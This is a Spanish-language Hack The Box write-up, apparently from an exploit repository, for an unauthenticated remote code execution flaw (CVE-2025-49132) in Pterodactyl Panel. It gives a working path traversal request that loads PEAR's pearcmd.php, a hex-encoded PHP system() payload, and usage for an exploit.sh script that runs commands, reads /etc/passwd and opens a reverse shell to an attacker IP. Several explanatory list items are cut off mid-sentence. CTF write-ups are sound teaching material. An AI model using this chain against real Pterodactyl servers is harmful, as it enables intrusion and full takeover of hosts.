
Exploit RCE no autenticado para CVE-2025-49132 en Pterodactyl Panel mediante path traversal, inyección de comandos PEAR y ejecución de código PHP. Incluye writeup de HTB y script auxiliar.
HTB Temporada 10 - Writeup de la máquina Pterodactyl
Objetivo: Máquina Pterodactyl HTB (Dificultad Media)
CVE: CVE-2025-49132
Gravedad: Crítica (CVSS 9.8)
Tipo de ataque: Ejecución remota de código no autenticada
Afectado: Pterodactyl Panel < v1.11.11
Esta cadena de explotación combina:
El endpoint /locales/locale.json del panel Pterodactyl permite el recorrido de directorios mediante el parámetro locale:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
Esto se puede encadenar con pearcmd.php de PEAR para:
/tmpPEAR (Repositorio y Extensión de Aplicaciones PHP) tiene una herramienta CLI (pearcmd.php) que:
config-create que escribe archivosLa cadena de explotación:
Recorrido de directorios → Cargar pearcmd.php → Inyectar PHP mediante config-create → Ejecutar PHP malicioso
Los comandos se codifican en hexadecimal usando hex2bin() para evitar:
Ejemplo:
Comando: whoami
Hex: 77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>
Método: Usando el exploit.sh proporcionado
chmod +x exploit.sh
# Get user flag
./exploit.sh flag
# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Reverse shell
nc -lvnp 4444 # On attacker machine
./exploit.sh shell 10.10.14.21 4444